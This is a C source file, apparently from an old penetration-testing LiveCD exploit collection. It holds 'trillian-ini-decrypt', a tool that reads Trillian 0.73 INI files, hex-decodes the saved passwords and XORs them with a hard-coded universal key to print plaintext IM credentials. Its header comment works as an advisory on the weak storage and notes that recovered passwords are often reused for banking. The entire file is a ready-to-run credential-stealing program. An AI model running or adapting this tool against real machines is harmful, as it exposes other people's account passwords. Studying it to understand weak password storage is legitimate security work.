Chip 2007 January, February, March & April/Chip-Cover-CD-2007-02.iso/Pakiet bezpieczenstwa/mini Pentoo LiveCD 2006.1/mpentoo-2006.1.iso/livecd.squashfs/opt/pentoo/ExploitTree/application/im/trillian/trillian-ini-decrypt.c

C/C++ Source or Header | 2005-02-12 | 7.7 KB | 261 lines

/********************************
 * trillian-ini-decrypt
 * By The Coeus Group
 * http://www.coeus-group.com
 ********************************
 *     Software:     Trillian 0.73, possibly others.
 *    Issue:        Weak "encryption" of saved passwords.
 *    Impact:        Decryption of saved passwords.
 *    Severity:    Medium. ish. The program only works locally, and only
 *            if the subject has saved their password, and really
 *            if someone can get into your AIM account, how earth-
 *            shattering is that??? However, since a lot of people
 *            use the same password for everything... What's easier,
 *            getting the password from Trillian, or Wells Fargo???
 ********************************
 * Trillian is, according to trillian.cc, "...everything you need for instant
 * messaging. Connect to ICQ«, AOL Instant Messenger(SM), MSN Messenger, Yahoo!
 * Messenger and IRC in a single, sleek and slim interface."
 *
 * Upon examination of the Trillian directory (which defaults to
 * C:\Program Files\Trillian\ ), it appears that passwords are stored in
 * ini files that are located in {Path to Trillian}\users\{WindowsLogon}. The
 * passwords are encrypted using a simple XOR with a key apparently uniform
 * throughout every installation.
 *
 * This program takes, as command line argument(s), path(s) to these INI files.
 * It will then display a list of usernames, "encrypted" passwords, and plaintext
 * passwords.
 *
 * Evan Nemerson
 * [e-mail] */

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>

#ifndef FALSE
#define FALSE 0
#endif

#ifndef TRUE
#define TRUE 1
#endif

void toupper(char* string);
int strlen(const char *s);
int strBeginsWith(const char *needle, const char *haystack);
int strIs(const char *subj, const char *eq);
void extractAcctounts(FILE *fp);
char *hex2str(char *string);
void decrypt();
void outPasswds();
void printhelp();
int main(int argc, char *argv[]);

struct account
{
    char username[64];
    char cyphertext[64];
    char plaintext[32];
};

extern int errno;
struct account *pAccounts[32];
short int nAccounts = 0;
char key[] =        "\xF3\x26\x81\xC4"
            "\x39\x86\xDB\x92"
            "\x71\xA3\xB9\xE6"
            "\x53\x7A\x95\x7C";

void toupper(char* string)
{
    short int x = 0;
    for ( x = 0 ; x < (strlen(string)) ; x++ )
    {
        if ( ( string[x] > 96 ) && ( string[x] < 123 ) )
            string[x] -= 32;
    }
}

int strlen(const char *s)
{
    short int n = 0;
    while ( s[n] != 0 )
        n++;
    return n;
}

int strBeginsWith(const char *needle, const char *haystack)
{
    short int x;

    if ( strlen(needle) > strlen(haystack) )
        return FALSE;

    for ( x = 0 ; x < strlen(needle) ; x++ )
    {
        if ( needle[x] != haystack[x] )
            return FALSE;
    }

    return TRUE;
}

int strIs(const char *subj, const char *eq)
{
    short int x;

    if ( strlen(subj) != strlen(eq) )
        return FALSE;
    for ( x = 0 ; x < strlen(subj) ; x++ )
    {
        if ( subj[x] != eq[x] )
            return FALSE;
    }

    return TRUE;
}

void extractAcctounts(FILE *fp)
{
    char buff[256], *ptr;
    int x;
    while ( !feof(fp) )
    {
        fgets(buff, 255, fp);
        if ( strBeginsWith("name=", buff) )
        {
            buff[strlen(buff)-1] = 0;
            pAccounts[nAccounts] = (struct account*)malloc(sizeof(struct account));
            if ( pAccounts[nAccounts] == NULL )
            {
                perror("Failed to malloc()");
                exit(errno);
            }
            ptr = pAccounts[nAccounts]->username;
            for ( x = 5 ; x < strlen(buff) ; x++ )
            {
                ptr[x-5] = buff[x];
            }
            ptr[x-5] = 0;
            nAccounts++;
        }
        if ( strBeginsWith("password=", buff) )
        {
            buff[strlen(buff)-1] = 0;
            ptr = pAccounts[nAccounts-1]->cyphertext;
            for ( x = 9 ; x < strlen(buff) ; x++ )
            {
                ptr[x-9] = buff[x];
            }
            ptr[x-9] = 0;
        }
    }
}

char *hex2str(char *string)
{
    int x=0,n=0,i=0;
    unsigned char hex[2];
    unsigned char *out;
    out = (unsigned char*)malloc((strlen(string)/2)+1);
    if ( out == NULL )
    {
        perror("Failed to malloc()");
        exit(errno);
    }

    // For hex number...
    for ( x = 0 ; x < strlen(string) ; x+=2 )
    {
        out[i] = 0;
        // Convert ASCII 0-F to decimal.
        hex[0] = string[x]-48;
        hex[1] = string[x+1]-48;
        for ( n = 0 ; n < 2 ; n++ )
        {
            if ( hex[n] > 9 )
                hex[n] -= 7;
        }
        out[i++] = (hex[0]*16)+hex[1];
    }
    out[i++] = 0;
    return out;
}

void decrypt()
{
    int n, x;
    char *plain, *cypher;

    for ( x = 0 ; x < nAccounts ; x++ )
    {
        cypher = hex2str(pAccounts[x]->cyphertext);
        plain  = pAccounts[x]->plaintext;

        for ( n = 0 ; n < (strlen(cypher)-1) ; n++ )
        {
            plain[n] = cypher[n] ^ key[n];
        }
    }
}

void outPasswds()
{
    int x;
    printf(
        "/----------------------------\\\n"
        "| trillian-ini-decrypt       |\n"
        "| By The Coeus Group         |\n"
        "| http://www.coeus-group.com |\n"
        "\\----------------------------/\n");
    printf("Found %d accounts.\n\n", nAccounts);
    for ( x = 0 ; x < nAccounts ; x++ )
    {
        printf(    "Username:           : %s\n"
            "Password (encrypted): %s\n"
            "Password (decrypted): %s\n\n",
            pAccounts[x]->username,
            pAccounts[x]->cyphertext,
            pAccounts[x]->plaintext
        );
    }
}

void printhelp()
{
    printf(    "Just put the path to Trillian INI file as command-line\n"
        "parameter. Don't forget to quote as needed. Will accept\n"
        "multiple files.\n");
    exit(0);
}

int main(int argc, char *argv[])
{
    short int x;
    FILE *fp;

    if ( ( argc < 2 ) ) { printhelp(); }
    if (    ( strIs(argv[1],     "-h") )    |
        ( strIs(argv[1], "--help") )    |
        ( strIs(argv[1],     "/?") )
    ) printhelp();

    for ( x = 1 ; x < argc ; x++ )
    {
        fp = fopen(argv[x], "r");
        if ( fp == NULL )
        {
            perror("Error");
            exit(errno);
        }
        extractAcctounts(fp);
    }

    decrypt();
    outPasswds();

    return 0;
}